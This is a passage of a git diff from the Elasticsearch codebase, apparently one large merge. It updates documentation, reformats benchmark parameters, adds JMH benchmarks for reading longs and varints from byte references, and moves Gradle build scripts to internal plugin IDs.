xref:TESTING.asciidoc[TESTING]. + +[[docs]] +== Documentation + +For the complete Elasticsearch documentation visit +https://www.elastic.co/guide/en/elasticsearch/reference/current/index.html[elastic.co]. + +For information about our documentation processes, see the +xref:docs/README.asciidoc[docs README]. + +[[contribute]] +== Contribute + +For contribution guidelines, see xref:CONTRIBUTING.md[CONTRIBUTING]. -See the xref:TESTING.asciidoc[TESTING] for more information about running the Elasticsearch test suite. +[[questions]] +== Questions? Problems? Suggestions? -=== Upgrading from older Elasticsearch versions +* To report a bug or request a feature, create a +https://github.com/elastic/elasticsearch/issues/new/choose[GitHub Issue]. Please +ensure someone else hasn't created an issue for the same topic. -To ensure a smooth upgrade process from earlier versions of Elasticsearch, please see our https://www.elastic.co/guide/en/elasticsearch/reference/current/setup-upgrade.html[upgrade documentation] for more details on the upgrade process. +* Need help using Elasticsearch? Reach out on the +https://discuss.elastic.co[Elastic Forum] or https://ela.st/slack[Slack]. A +fellow community member or Elastic engineer will be happy to help you out. diff --git a/TESTING.asciidoc b/TESTING.asciidoc index ebf1633e1d180..0d97b537d4eb5 100644 --- a/TESTING.asciidoc +++ b/TESTING.asciidoc @@ -92,7 +92,7 @@ password: `elastic-password`. === Test case filtering. -You can run a single test, provided that you specify the Gradle project. See the documentation on +You can run a single test, provided that you specify the Gradle project. See the documentation on https://docs.gradle.org/current/userguide/userguide_single.html#simple_name_pattern[simple name pattern filtering]. Run a single test case in the `server` project: @@ -385,13 +385,13 @@ vagrant plugin install vagrant-cachier . You can run all of the OS packaging tests with `./gradlew packagingTest`. This task includes our legacy `bats` tests. To run only the OS tests that are written in Java, run `.gradlew distroTest`, will cause Gradle to build the tar, -zip, and deb packages and all the plugins. It will then run the tests on every +zip, and deb packages and all the plugins. It will then run the tests on every available system. This will take a very long time. + Fortunately, the various systems under test have their own Gradle tasks under `qa/os`. To find the systems tested, do a listing of the `qa/os` directory. To find out what packaging combinations can be tested on a system, run -the `tasks` task. For example: +the `tasks` task. For example: + ---------------------------------- ./gradlew :qa:os:ubuntu-1804:tasks @@ -558,7 +558,7 @@ fetching the latest from the remote. == Testing in FIPS 140-2 mode -We have a CI matrix job that periodically runs all our tests with the JVM configured +We have a CI matrix job that periodically runs all our tests with the JVM configured to be FIPS 140-2 compliant with the use of the BouncyCastle FIPS approved Security Provider. FIPS 140-2 imposes certain requirements that affect how our tests should be set up or what can be tested. This section summarizes what one needs to take into consideration so that diff --git a/benchmarks/README.md b/benchmarks/README.md index d6ae8173a04f4..a4d238c343c1c 100644 --- a/benchmarks/README.md +++ b/benchmarks/README.md @@ -102,12 +102,15 @@ If you want to disassemble a single method do something like this: gradlew -p benchmarks run --args ' MemoryStatsBenchmark -jvmArgs "-XX:+UnlockDiagnosticVMOptions -XX:CompileCommand=print,*.yourMethodName -XX:PrintAssemblyOptions=intel" ``` -If you want `perf` to find the hot methods for you then do add `-prof:perfasm`. +If you want `perf` to find the hot methods for you then do add `-prof perfasm`. ## Async Profiler Note: Linux and Mac only. Sorry Windows. +IMPORTANT: The 2.0 version of the profiler doesn't seem to be with compatible +with JMH as of 2021-04-30. + The async profiler is neat because it does not suffer from the safepoint bias problem. And because it makes pretty flame graphs! diff --git a/benchmarks/build.gradle b/benchmarks/build.gradle index 134bee05a6d17..50dd24452eed9 100644 --- a/benchmarks/build.gradle +++ b/benchmarks/build.gradle @@ -1,4 +1,4 @@ -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one diff --git a/benchmarks/src/main/java/org/elasticsearch/benchmark/fs/AvailableIndexFoldersBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/benchmark/fs/AvailableIndexFoldersBenchmark.java index ff9e25d0e464c..80ca0baf6e86a 100644 --- a/benchmarks/src/main/java/org/elasticsearch/benchmark/fs/AvailableIndexFoldersBenchmark.java +++ b/benchmarks/src/main/java/org/elasticsearch/benchmark/fs/AvailableIndexFoldersBenchmark.java @@ -44,13 +44,12 @@ public class AvailableIndexFoldersBenchmark { @Setup public void setup() throws IOException { Path path = Files.createTempDirectory("test"); - String[] paths = new String[] { path.toString() }; nodePath = new NodeEnvironment.NodePath(path); LogConfigurator.setNodeName("test"); Settings settings = Settings.builder() .put(Environment.PATH_HOME_SETTING.getKey(), path) - .putList(Environment.PATH_DATA_SETTING.getKey(), paths) + .put(Environment.PATH_DATA_SETTING.getKey(), path.resolve("data")) .build(); nodeEnv = new NodeEnvironment(settings, new Environment(settings, null)); diff --git a/benchmarks/src/main/java/org/elasticsearch/benchmark/routing/allocation/AllocationBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/benchmark/routing/allocation/AllocationBenchmark.java index 8e8b1bb0f959e..5975bbbe0206d 100644 --- a/benchmarks/src/main/java/org/elasticsearch/benchmark/routing/allocation/AllocationBenchmark.java +++ b/benchmarks/src/main/java/org/elasticsearch/benchmark/routing/allocation/AllocationBenchmark.java @@ -46,56 +46,58 @@ public class AllocationBenchmark { // we cannot use individual @Params as some will lead to invalid combinations which do not let the benchmark terminate. JMH offers no // support to constrain the combinations of benchmark parameters and we do not want to rely on OptionsBuilder as each benchmark would // need its own main method and we cannot execute more than one class with a main method per JAR. - @Param({ - // indices| shards| replicas| nodes - " 10| 1| 0| 1", - " 10| 3| 0| 1", - " 10| 10| 0| 1", - " 100| 1| 0| 1", - " 100| 3| 0| 1", - " 100| 10| 0| 1", - - " 10| 1| 0| 10", - " 10| 3| 0| 10", - " 10| 10| 0| 10", - " 100| 1| 0| 10", - " 100| 3| 0| 10", - " 100| 10| 0| 10", - - " 10| 1| 1| 10", - " 10| 3| 1| 10", - " 10| 10| 1| 10", - " 100| 1| 1| 10", - " 100| 3| 1| 10", - " 100| 10| 1| 10", - - " 10| 1| 2| 10", - " 10| 3| 2| 10", - " 10| 10| 2| 10", - " 100| 1| 2| 10", - " 100| 3| 2| 10", - " 100| 10| 2| 10", - - " 10| 1| 0| 50", - " 10| 3| 0| 50", - " 10| 10| 0| 50", - " 100| 1| 0| 50", - " 100| 3| 0| 50", - " 100| 10| 0| 50", - - " 10| 1| 1| 50", - " 10| 3| 1| 50", - " 10| 10| 1| 50", - " 100| 1| 1| 50", - " 100| 3| 1| 50", - " 100| 10| 1| 50", - - " 10| 1| 2| 50", - " 10| 3| 2| 50", - " 10| 10| 2| 50", - " 100| 1| 2| 50", - " 100| 3| 2| 50", - " 100| 10| 2| 50" }) + @Param( + { + // indices| shards| replicas| nodes + " 10| 1| 0| 1", + " 10| 3| 0| 1", + " 10| 10| 0| 1", + " 100| 1| 0| 1", + " 100| 3| 0| 1", + " 100| 10| 0| 1", + + " 10| 1| 0| 10", + " 10| 3| 0| 10", + " 10| 10| 0| 10", + " 100| 1| 0| 10", + " 100| 3| 0| 10", + " 100| 10| 0| 10", + + " 10| 1| 1| 10", + " 10| 3| 1| 10", + " 10| 10| 1| 10", + " 100| 1| 1| 10", + " 100| 3| 1| 10", + " 100| 10| 1| 10", + + " 10| 1| 2| 10", + " 10| 3| 2| 10", + " 10| 10| 2| 10", + " 100| 1| 2| 10", + " 100| 3| 2| 10", + " 100| 10| 2| 10", + + " 10| 1| 0| 50", + " 10| 3| 0| 50", + " 10| 10| 0| 50", + " 100| 1| 0| 50", + " 100| 3| 0| 50", + " 100| 10| 0| 50", + + " 10| 1| 1| 50", + " 10| 3| 1| 50", + " 10| 10| 1| 50", + " 100| 1| 1| 50", + " 100| 3| 1| 50", + " 100| 10| 1| 50", + + " 10| 1| 2| 50", + " 10| 3| 2| 50", + " 10| 10| 2| 50", + " 100| 1| 2| 50", + " 100| 3| 2| 50", + " 100| 10| 2| 50" } + ) public String indicesShardsReplicasNodes = "10|1|0|1"; public int numTags = 2; diff --git a/benchmarks/src/main/java/org/elasticsearch/benchmark/script/ScriptScoreBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/benchmark/script/ScriptScoreBenchmark.java index b2094084fec30..d0308d2166bfa 100644 --- a/benchmarks/src/main/java/org/elasticsearch/benchmark/script/ScriptScoreBenchmark.java +++ b/benchmarks/src/main/java/org/elasticsearch/benchmark/script/ScriptScoreBenchmark.java @@ -79,7 +79,7 @@ public class ScriptScoreBenchmark { private final ScriptModule scriptModule = new ScriptModule(Settings.EMPTY, pluginsService.filterPlugins(ScriptPlugin.class)); private final Map fieldTypes = Map.ofEntries( - Map.entry("n", new NumberFieldType("n", NumberType.LONG, false, false, true, true, null, Map.of())) + Map.entry("n", new NumberFieldType("n", NumberType.LONG, false, false, true, true, null, Map.of(), null)) ); private final IndexFieldDataCache fieldDataCache = new IndexFieldDataCache.None(); private final CircuitBreakerService breakerService = new NoneCircuitBreakerService(); diff --git a/benchmarks/src/main/java/org/elasticsearch/benchmark/search/aggregations/AggConstructionContentionBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/benchmark/search/aggregations/AggConstructionContentionBenchmark.java index a5deea6838950..5b5efa14ed092 100644 --- a/benchmarks/src/main/java/org/elasticsearch/benchmark/search/aggregations/AggConstructionContentionBenchmark.java +++ b/benchmarks/src/main/java/org/elasticsearch/benchmark/search/aggregations/AggConstructionContentionBenchmark.java @@ -67,6 +67,7 @@ import java.io.IOException; import java.util.ArrayList; +import java.util.Collection; import java.util.List; import java.util.Optional; import java.util.concurrent.TimeUnit; @@ -211,6 +212,11 @@ public MappedFieldType getFieldType(String path) { throw new UnsupportedOperationException(); } + @Override + public Collection getMatchingFieldTypes(String pattern) { + throw new UnsupportedOperationException(); + } + @Override public boolean isFieldMapped(String field) { return field.startsWith("int"); @@ -246,6 +252,11 @@ public Query buildQuery(QueryBuilder builder) throws IOException { throw new UnsupportedOperationException(); } + @Override + public Query filterQuery(Query query) { + throw new UnsupportedOperationException(); + } + @Override public IndexSettings getIndexSettings() { throw new UnsupportedOperationException(); diff --git a/benchmarks/src/main/java/org/elasticsearch/common/RoundingBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/common/RoundingBenchmark.java index b9581859ed935..062726534fbf2 100644 --- a/benchmarks/src/main/java/org/elasticsearch/common/RoundingBenchmark.java +++ b/benchmarks/src/main/java/org/elasticsearch/common/RoundingBenchmark.java @@ -37,12 +37,14 @@ public class RoundingBenchmark { private static final DateFormatter FORMATTER = DateFormatter.forPattern("date_optional_time"); - @Param({ - "2000-01-01 to 2020-01-01", // A super long range - "2000-10-01 to 2000-11-01", // A whole month which is pretty believable - "2000-10-29 to 2000-10-30", // A date right around daylight savings time. - "2000-06-01 to 2000-06-02" // A date fully in one time zone. Should be much faster than above. - }) + @Param( + { + "2000-01-01 to 2020-01-01", // A super long range + "2000-10-01 to 2000-11-01", // A whole month which is pretty believable + "2000-10-29 to 2000-10-30", // A date right around daylight savings time. + "2000-06-01 to 2000-06-02" // A date fully in one time zone. Should be much faster than above. + } + ) public String range; @Param({ "java time", "es" }) diff --git a/benchmarks/src/main/java/org/elasticsearch/common/bytes/BytesArrayReadLongBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/common/bytes/BytesArrayReadLongBenchmark.java new file mode 100644 index 0000000000000..9354171dd6451 --- /dev/null +++ b/benchmarks/src/main/java/org/elasticsearch/common/bytes/BytesArrayReadLongBenchmark.java @@ -0,0 +1,68 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ +package org.elasticsearch.common.bytes; + +import org.elasticsearch.common.io.stream.BytesStreamOutput; +import org.elasticsearch.common.io.stream.StreamInput; +import org.elasticsearch.common.unit.ByteSizeUnit; +import org.elasticsearch.common.unit.ByteSizeValue; +import org.openjdk.jmh.annotations.Benchmark; +import org.openjdk.jmh.annotations.BenchmarkMode; +import org.openjdk.jmh.annotations.Fork; +import org.openjdk.jmh.annotations.Measurement; +import org.openjdk.jmh.annotations.Mode; +import org.openjdk.jmh.annotations.OutputTimeUnit; +import org.openjdk.jmh.annotations.Param; +import org.openjdk.jmh.annotations.Scope; +import org.openjdk.jmh.annotations.Setup; +import org.openjdk.jmh.annotations.State; +import org.openjdk.jmh.annotations.Warmup; + +import java.io.IOException; +import java.util.concurrent.TimeUnit; + +@Warmup(iterations = 5) +@Measurement(iterations = 7) +@BenchmarkMode(Mode.AverageTime) +@OutputTimeUnit(TimeUnit.MILLISECONDS) +@State(Scope.Thread) +@Fork(value = 1) +public class BytesArrayReadLongBenchmark { + + @Param(value = { "1" }) + private int dataMb; + + private BytesReference bytesArray; + + private StreamInput streamInput; + + @Setup + public void initResults() throws IOException { + final BytesStreamOutput tmp = new BytesStreamOutput(); + final long bytes = new ByteSizeValue(dataMb, ByteSizeUnit.MB).getBytes(); + for (int i = 0; i < bytes / 8; i++) { + tmp.writeLong(i); + } + bytesArray = tmp.copyBytes(); + if (bytesArray instanceof BytesArray == false) { + throw new AssertionError("expected BytesArray but saw [" + bytesArray.getClass() + "]"); + } + streamInput = bytesArray.streamInput(); + } + + @Benchmark + public long readLong() throws IOException { + long res = 0L; + streamInput.reset(); + final int reads = bytesArray.length() / 8; + for (int i = 0; i < reads; i++) { + res = res ^ streamInput.readLong(); + } + return res; + } +} diff --git a/benchmarks/src/main/java/org/elasticsearch/common/bytes/BytesArrayReadVLongBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/common/bytes/BytesArrayReadVLongBenchmark.java new file mode 100644 index 0000000000000..9e6d7909f572c --- /dev/null +++ b/benchmarks/src/main/java/org/elasticsearch/common/bytes/BytesArrayReadVLongBenchmark.java @@ -0,0 +1,65 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ +package org.elasticsearch.common.bytes; + +import org.elasticsearch.common.io.stream.BytesStreamOutput; +import org.elasticsearch.common.io.stream.StreamInput; +import org.openjdk.jmh.annotations.Benchmark; +import org.openjdk.jmh.annotations.BenchmarkMode; +import org.openjdk.jmh.annotations.Fork; +import org.openjdk.jmh.annotations.Measurement; +import org.openjdk.jmh.annotations.Mode; +import org.openjdk.jmh.annotations.OutputTimeUnit; +import org.openjdk.jmh.annotations.Param; +import org.openjdk.jmh.annotations.Scope; +import org.openjdk.jmh.annotations.Setup; +import org.openjdk.jmh.annotations.State; +import org.openjdk.jmh.annotations.Warmup; + +import java.io.IOException; +import java.util.concurrent.TimeUnit; + +@Warmup(iterations = 5) +@Measurement(iterations = 7) +@BenchmarkMode(Mode.AverageTime) +@OutputTimeUnit(TimeUnit.MILLISECONDS) +@State(Scope.Thread) +@Fork(value = 1) +public class BytesArrayReadVLongBenchmark { + + @Param(value = { "10000000" }) + int entries; + + private StreamInput streamInput; + + @Setup + public void initResults() throws IOException { + final BytesStreamOutput tmp = new BytesStreamOutput(); + for (int i = 0; i < entries / 2; i++) { + tmp.writeVLong(i); + } + for (int i = 0; i < entries / 2; i++) { + tmp.writeVLong(Long.MAX_VALUE - i); + } + BytesReference bytesArray = tmp.copyBytes(); + if (bytesArray instanceof BytesArray == false) { + throw new AssertionError("expected BytesArray but saw [" + bytesArray.getClass() + "]"); + } + this.streamInput = bytesArray.streamInput(); + } + + @Benchmark + public long readVLong() throws IOException { + long res = 0; + streamInput.reset(); + for (int i = 0; i < entries; i++) { + res = res ^ streamInput.readVLong(); + } + return res; + } +} diff --git a/benchmarks/src/main/java/org/elasticsearch/common/bytes/PagedBytesReferenceReadLongBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/common/bytes/PagedBytesReferenceReadLongBenchmark.java new file mode 100644 index 0000000000000..754a565a21174 --- /dev/null +++ b/benchmarks/src/main/java/org/elasticsearch/common/bytes/PagedBytesReferenceReadLongBenchmark.java @@ -0,0 +1,68 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ +package org.elasticsearch.common.bytes; + +import org.elasticsearch.common.io.stream.BytesStreamOutput; +import org.elasticsearch.common.io.stream.StreamInput; +import org.elasticsearch.common.unit.ByteSizeUnit; +import org.elasticsearch.common.unit.ByteSizeValue; +import org.openjdk.jmh.annotations.Benchmark; +import org.openjdk.jmh.annotations.BenchmarkMode; +import org.openjdk.jmh.annotations.Fork; +import org.openjdk.jmh.annotations.Measurement; +import org.openjdk.jmh.annotations.Mode; +import org.openjdk.jmh.annotations.OutputTimeUnit; +import org.openjdk.jmh.annotations.Param; +import org.openjdk.jmh.annotations.Scope; +import org.openjdk.jmh.annotations.Setup; +import org.openjdk.jmh.annotations.State; +import org.openjdk.jmh.annotations.Warmup; + +import java.io.IOException; +import java.util.concurrent.TimeUnit; + +@Warmup(iterations = 5) +@Measurement(iterations = 7) +@BenchmarkMode(Mode.AverageTime) +@OutputTimeUnit(TimeUnit.MILLISECONDS) +@State(Scope.Thread) +@Fork(value = 1) +public class PagedBytesReferenceReadLongBenchmark { + + @Param(value = { "1" }) + private int dataMb; + + private BytesReference pagedBytes; + + private StreamInput streamInput; + + @Setup + public void initResults() throws IOException { + final BytesStreamOutput tmp = new BytesStreamOutput(); + final long bytes = new ByteSizeValue(dataMb, ByteSizeUnit.MB).getBytes(); + for (int i = 0; i < bytes / 8; i++) { + tmp.writeLong(i); + } + pagedBytes = tmp.bytes(); + if (pagedBytes instanceof PagedBytesReference == false) { + throw new AssertionError("expected PagedBytesReference but saw [" + pagedBytes.getClass() + "]"); + } + this.streamInput = pagedBytes.streamInput(); + } + + @Benchmark + public long readLong() throws IOException { + long res = 0L; + streamInput.reset(); + final int reads = pagedBytes.length() / 8; + for (int i = 0; i < reads; i++) { + res = res ^ streamInput.readLong(); + } + return res; + } +} diff --git a/benchmarks/src/main/java/org/elasticsearch/common/bytes/PagedBytesReferenceReadVIntBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/common/bytes/PagedBytesReferenceReadVIntBenchmark.java new file mode 100644 index 0000000000000..83a0b20bd5ed9 --- /dev/null +++ b/benchmarks/src/main/java/org/elasticsearch/common/bytes/PagedBytesReferenceReadVIntBenchmark.java @@ -0,0 +1,65 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ +package org.elasticsearch.common.bytes; + +import org.elasticsearch.common.io.stream.BytesStreamOutput; +import org.elasticsearch.common.io.stream.StreamInput; +import org.openjdk.jmh.annotations.Benchmark; +import org.openjdk.jmh.annotations.BenchmarkMode; +import org.openjdk.jmh.annotations.Fork; +import org.openjdk.jmh.annotations.Measurement; +import org.openjdk.jmh.annotations.Mode; +import org.openjdk.jmh.annotations.OutputTimeUnit; +import org.openjdk.jmh.annotations.Param; +import org.openjdk.jmh.annotations.Scope; +import org.openjdk.jmh.annotations.Setup; +import org.openjdk.jmh.annotations.State; +import org.openjdk.jmh.annotations.Warmup; + +import java.io.IOException; +import java.util.concurrent.TimeUnit; + +@Warmup(iterations = 5) +@Measurement(iterations = 7) +@BenchmarkMode(Mode.AverageTime) +@OutputTimeUnit(TimeUnit.MILLISECONDS) +@State(Scope.Thread) +@Fork(value = 1) +public class PagedBytesReferenceReadVIntBenchmark { + + @Param(value = { "10000000" }) + int entries; + + private StreamInput streamInput; + + @Setup + public void initResults() throws IOException { + final BytesStreamOutput tmp = new BytesStreamOutput(); + for (int i = 0; i < entries / 2; i++) { + tmp.writeVInt(i); + } + for (int i = 0; i < entries / 2; i++) { + tmp.writeVInt(Integer.MAX_VALUE - i); + } + BytesReference pagedBytes = tmp.bytes(); + if (pagedBytes instanceof PagedBytesReference == false) { + throw new AssertionError("expected PagedBytesReference but saw [" + pagedBytes.getClass() + "]"); + } + this.streamInput = pagedBytes.streamInput(); + } + + @Benchmark + public int readVInt() throws IOException { + int res = 0; + streamInput.reset(); + for (int i = 0; i < entries; i++) { + res = res ^ streamInput.readVInt(); + } + return res; + } +} diff --git a/benchmarks/src/main/java/org/elasticsearch/common/bytes/PagedBytesReferenceReadVLongBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/common/bytes/PagedBytesReferenceReadVLongBenchmark.java new file mode 100644 index 0000000000000..54e2edf293195 --- /dev/null +++ b/benchmarks/src/main/java/org/elasticsearch/common/bytes/PagedBytesReferenceReadVLongBenchmark.java @@ -0,0 +1,65 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ +package org.elasticsearch.common.bytes; + +import org.elasticsearch.common.io.stream.BytesStreamOutput; +import org.elasticsearch.common.io.stream.StreamInput; +import org.openjdk.jmh.annotations.Benchmark; +import org.openjdk.jmh.annotations.BenchmarkMode; +import org.openjdk.jmh.annotations.Fork; +import org.openjdk.jmh.annotations.Measurement; +import org.openjdk.jmh.annotations.Mode; +import org.openjdk.jmh.annotations.OutputTimeUnit; +import org.openjdk.jmh.annotations.Param; +import org.openjdk.jmh.annotations.Scope; +import org.openjdk.jmh.annotations.Setup; +import org.openjdk.jmh.annotations.State; +import org.openjdk.jmh.annotations.Warmup; + +import java.io.IOException; +import java.util.concurrent.TimeUnit; + +@Warmup(iterations = 5) +@Measurement(iterations = 7) +@BenchmarkMode(Mode.AverageTime) +@OutputTimeUnit(TimeUnit.MILLISECONDS) +@State(Scope.Thread) +@Fork(value = 1) +public class PagedBytesReferenceReadVLongBenchmark { + + @Param(value = { "10000000" }) + int entries; + + private StreamInput streamInput; + + @Setup + public void initResults() throws IOException { + final BytesStreamOutput tmp = new BytesStreamOutput(); + for (int i = 0; i < entries / 2; i++) { + tmp.writeVLong(i); + } + for (int i = 0; i < entries / 2; i++) { + tmp.writeVLong(Long.MAX_VALUE - i); + } + BytesReference pagedBytes = tmp.bytes(); + if (pagedBytes instanceof PagedBytesReference == false) { + throw new AssertionError("expected PagedBytesReference but saw [" + pagedBytes.getClass() + "]"); + } + this.streamInput = pagedBytes.streamInput(); + } + + @Benchmark + public long readVLong() throws IOException { + long res = 0; + streamInput.reset(); + for (int i = 0; i < entries; i++) { + res = res ^ streamInput.readVLong(); + } + return res; + } +} diff --git a/build.gradle b/build.gradle index 47652b111c926..00ad8868915ec 100644 --- a/build.gradle +++ b/build.gradle @@ -10,10 +10,10 @@ import com.avast.gradle.dockercompose.tasks.ComposePull import com.github.jengelman.gradle.plugins.shadow.ShadowPlugin import de.thetaphi.forbiddenapis.gradle.ForbiddenApisPlugin import org.apache.tools.ant.taskdefs.condition.Os -import org.elasticsearch.gradle.BuildPlugin +import org.elasticsearch.gradle.internal.BuildPlugin import org.elasticsearch.gradle.Version import org.elasticsearch.gradle.VersionProperties -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams import org.elasticsearch.gradle.plugin.PluginBuildPlugin import org.gradle.plugins.ide.eclipse.model.AccessRule import org.gradle.plugins.ide.eclipse.model.SourceFolder @@ -21,23 +21,30 @@ import org.gradle.util.DistributionLocator import org.gradle.util.GradleVersion import static org.elasticsearch.gradle.util.GradleUtils.maybeConfigure import org.gradle.plugins.ide.eclipse.model.ProjectDependency +import org.elasticsearch.gradle.testclusters.TestClustersPlugin +import org.elasticsearch.gradle.internal.test.RestTestBasePlugin +import org.elasticsearch.gradle.internal.InternalPluginBuildPlugin +import org.elasticsearch.gradle.internal.InternalTestClustersPlugin plugins { id 'lifecycle-base' id 'elasticsearch.docker-support' id 'elasticsearch.global-build-info' - id "com.diffplug.spotless" version "5.9.0" apply false + id 'elasticsearch.build-scan' + id 'elasticsearch.build-complete' + id 'elasticsearch.jdk-download' + id 'elasticsearch.internal-distribution-download' + id 'elasticsearch.runtime-jdk-provision' + id 'elasticsearch.ide' + id 'elasticsearch.forbidden-dependencies' + id 'elasticsearch.formatting' + id 'elasticsearch.local-distribution' + id 'elasticsearch.fips' + id 'elasticsearch.internal-testclusters' + id 'elasticsearch.run' + id "com.diffplug.spotless" version "5.12.5" apply false } -apply from: 'gradle/build-scan.gradle' -apply from: 'gradle/build-complete.gradle' -apply from: 'gradle/runtime-jdk-provision.gradle' -apply from: 'gradle/ide.gradle' -apply from: 'gradle/forbidden-dependencies.gradle' -apply from: 'gradle/formatting.gradle' -apply from: 'gradle/local-distribution.gradle' -apply from: 'gradle/fips.gradle' -apply from: 'gradle/run.gradle' // common maven publishing configuration allprojects { @@ -55,6 +62,10 @@ if (VersionProperties.elasticsearch.toString().endsWith('-SNAPSHOT')) { String elasticLicenseUrl = "https://raw.githubusercontent.com/elastic/elasticsearch/${licenseCommit}/licenses/ELASTIC-LICENSE-2.0.txt" subprojects { + // We disable this plugin for now till we shaked out the issues we see + // e.g. see https://github.com/elastic/elasticsearch/issues/72169 + // apply plugin:'elasticsearch.internal-test-rerun' + // Default to the SSPL+Elastic dual license project.ext.projectLicenses = [ 'Server Side Public License, v 1': 'https://www.mongodb.com/licensing/server-side-public-license', @@ -101,6 +112,20 @@ subprojects { project.licenseFile = project.rootProject.file('licenses/SSPL-1.0+ELASTIC-LICENSE-2.0.txt') project.noticeFile = project.rootProject.file('NOTICE.txt') } + + plugins.withType(InternalPluginBuildPlugin).whenPluginAdded { + project.dependencies { + compileOnly project(":server") + testImplementation project(":test:framework") + } + } + + // Ultimately the RestTestBase Plugin should apply the InternalTestClusters Plugin itself instead of TestClusters + // but this requires major rework on the func test infrastructure. + // TODO: This will be addressed once we have https://github.com/elastic/elasticsearch/issues/71593 resolved + project.plugins.withType(RestTestBasePlugin) { + project.plugins.apply(InternalTestClustersPlugin) + } } /** @@ -122,7 +147,6 @@ ext.testArtifact = { p, String name = "test" -> }; } - tasks.register("updateCIBwcVersions") { doLast { File yml = file(".ci/bwcVersions") @@ -190,7 +214,8 @@ tasks.register("verifyVersions") { */ boolean bwc_tests_enabled = true -String bwc_tests_disabled_issue = "" /* place a PR link here when committing bwc changes */ +// place a PR link here when committing bwc changes: +String bwc_tests_disabled_issue = "" /* * FIPS 140-2 behavior was fixed in 7.11.0. Before that there is no way to run elasticsearch in a * JVM that is properly configured to be in fips mode with BCFIPS. For now we need to disable @@ -282,7 +307,7 @@ allprojects { } } boolean hasShadow = project.plugins.hasPlugin(ShadowPlugin) - project.configurations.compile.dependencies + project.configurations.compileClasspath.dependencies .findAll() .toSorted(sortClosure) .each({ c -> depJavadocClosure(hasShadow, c) }) @@ -342,13 +367,18 @@ allprojects { } plugins.withType(JavaBasePlugin) { - eclipse.classpath.defaultOutputDir = file('build-eclipse') + java.modularity.inferModulePath.set(false) eclipse.classpath.file.whenMerged { classpath -> - // give each source folder a unique corresponding output folder + /* + * give each source folder a unique corresponding output folder + * outside of the usual `build` folder. We can't put the build + * in the usual build folder because eclipse becomes *very* sad + * if we delete it. Which `gradlew clean` does all the time. + */ int i = 0; classpath.entries.findAll { it instanceof SourceFolder }.each { folder -> i++; - folder.output = "build-eclipse/" + i + folder.output = 'out/eclipse/' + i } // Starting with Gradle 6.7 test dependencies are not exposed by eclipse @@ -461,7 +491,7 @@ gradle.projectsEvaluated { } allprojects { - tasks.register('resolveAllDependencies', org.elasticsearch.gradle.ResolveAllDependencies) { + tasks.register('resolveAllDependencies', org.elasticsearch.gradle.internal.ResolveAllDependencies) { configs = project.configurations if (project.path.contains("fixture")) { dependsOn tasks.withType(ComposePull) @@ -509,3 +539,11 @@ subprojects { } } } + +subprojects { Project subproj -> + plugins.withType(TestClustersPlugin).whenPluginAdded { + testClusters.all { + systemProperty "ingest.geoip.downloader.enabled.default", "false" + } + } +} diff --git a/buildSrc/build.gradle b/buildSrc/build.gradle index 2fe00075a110e..7dec46e2da134 100644 --- a/buildSrc/build.gradle +++ b/buildSrc/build.gradle @@ -36,6 +36,156 @@ gradlePlugin { // We already configure publication and we don't need or want the one that comes // with the java-gradle-plugin automatedPublishing = false + plugins { + build { + id = 'elasticsearch.build' + implementationClass = 'org.elasticsearch.gradle.internal.BuildPlugin' + } + distributionDownload { + id = 'elasticsearch.distribution-download' + implementationClass = 'org.elasticsearch.gradle.DistributionDownloadPlugin' + } + distroTest { + id = 'elasticsearch.distro-test' + implementationClass = 'org.elasticsearch.gradle.internal.test.DistroTestPlugin' + } + dockerSupport { + id = 'elasticsearch.docker-support' + implementationClass = 'org.elasticsearch.gradle.internal.docker.DockerSupportPlugin' + } + docsTest { + id = 'elasticsearch.docs-test' + implementationClass = 'org.elasticsearch.gradle.internal.doc.DocsTestPlugin' + } + esPlugin { + id = 'elasticsearch.esplugin' + implementationClass = 'org.elasticsearch.gradle.plugin.PluginBuildPlugin' + } + globalBuildInfo { + id = 'elasticsearch.global-build-info' + implementationClass = 'org.elasticsearch.gradle.internal.info.GlobalBuildInfoPlugin' + } + internalAvailablePorts { + id = 'elasticsearch.internal-available-ports' + implementationClass = 'org.elasticsearch.gradle.internal.InternalAvailableTcpPortProviderPlugin' + } + internalClusterTest { + id = 'elasticsearch.internal-cluster-test' + implementationClass = 'org.elasticsearch.gradle.internal.test.InternalClusterTestPlugin' + } + internalDistributionArchiveCheck { + id = 'elasticsearch.internal-distribution-archive-check' + implementationClass = 'org.elasticsearch.gradle.internal.InternalDistributionArchiveCheckPlugin' + } + internalDistributionArchiveSetup { + id = 